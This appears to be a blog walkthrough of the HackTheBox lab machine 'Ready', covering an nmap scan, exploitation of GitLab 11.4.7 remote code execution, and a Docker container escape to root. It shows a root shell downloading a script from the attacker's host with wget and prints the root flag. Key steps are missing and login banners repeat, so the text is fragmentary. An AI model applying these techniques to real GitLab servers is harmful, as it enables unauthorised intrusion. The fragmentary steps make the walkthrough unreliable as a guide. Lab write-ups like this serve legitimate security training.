Posted onEdited onInHackTheBox walkthroughViews: Word count in article: 1.6kReading time ≈6 mins.
introduce
OS: Linux Difficulty: Medium Points: 30 Release: 12 Dec 2020 IP: 10.10.10.220
information gathering
first use nmap as usaul
1 2 3 4 5 6
┌──(root💀kali)-[~/hackthebox/machine/ready] └─# nmap -sV -v -p- --min-rate=10000 10.10.10.220 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) 5080/tcp open http nginx Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
So basically Two ports are opened 22:ssh 5080:http
Port-80
There is a simple Gitlab Sign in page.
Let’s register ourself.
And we got login
After some enumeration i found an interesting thing.
There is a gitlab version and a interesting thing “update asap” in red background that semms to be vulnerable.
After some googling i found an interesting article of liveoverflow.
GitLab 11.4.7 Remote Code Execution
suggest you to watch this vedio for better Understanding.
GitLab 11.4.7 Remote Code Execution - Real World CTF 2018
After reading the article and watch the full vedio i understand that we got the reverse shell through this method which he show in the vedio.
Let’s try this real quick.
Step 1
Click on new project.
Now click on Import project.
Click repo-by-url
Step 2
Now we need to use the payload with url encode it that showing in the vedio.
root@gitlab:~# cd /tmp cd /tmp root@gitlab:/tmp# ls ls gitaly-ruby896015435 root@gitlab:/tmp# wget http://10.10.14.2/root.sh wget http://10.10.14.2/root.sh --2020-12-16 10:11:41-- http://10.10.14.2/root.sh Connecting to 10.10.14.2:80... connected. HTTP request sent, awaiting response... 200 OK Length: 375 [text/x-sh] Saving to: 'root.sh'
root.sh 100%[===================>] 375 --.-KB/s in 0s
System information as of Wed 16 Dec 2020 10:33:53 AM UTC
System load: 0.1 Usage of /: 65.2% of 17.59GB Memory usage: 78% Swap usage: 0% Processes: 333 Users logged in: 0 IPv4 address for br-bcb73b090b3f: 172.19.0.1 IPv4 address for docker0: 172.17.0.1 IPv4 address for ens160: 10.10.10.220 IPv6 address for ens160: dead:beef::250:56ff:feb9:8278
=> There are 6 zombie processes.
* Introducing self-healing high availability clusters in MicroK8s. Simple, hardened, Kubernetes for production, from RaspberryPi to DC.
https://microk8s.io/high-availability
170 updates can be installed immediately. 73 of these updates are security updates. To see these additional updates run: apt list --upgradable
The list of available updates is more than a week old. To check for new updates run: sudo apt update
Last login: Sun Dec 13 15:04:10 2020 from 10.10.14.5 root@ready:~# id uid=0(root) gid=0(root) groups=0(root) root@ready:~# whoami root root@ready:~# ls docker-gitlab ready-channel root.txt snap root@ready:~# cat root.txt b7f98681505cd39066f67147b103c2b3
and we got the root flag
If you learn about more how this privesc work check this article.
System information disabled due to load higher than 4.0
* Introducing self-healing high availability clusters in MicroK8s. Simple, hardened, Kubernetes for production, from RaspberryPi to DC.
https://microk8s.io/high-availability
170 updates can be installed immediately. 73 of these updates are security updates. To see these additional updates run: apt list --upgradable
The list of available updates is more than a week old. To check for new updates run: sudo apt update Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Mon Dec 14 16:49:36 2020 from 10.10.14.33 root@ready:~# id && whoami && hostname uid=0(root) gid=0(root) groups=0(root) root ready
Summary of knowledge
GitLab 11.4.7 Remote Code Execution
password disclosure in /opt/backup/gitlab.rb
Escaping Docker Privileged Containers to read id_rsa file
Contact me
QQ: 1185151867
twitter: https://twitter.com/fdlucifer11
github: https://github.com/FDlucifer
I’m lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more…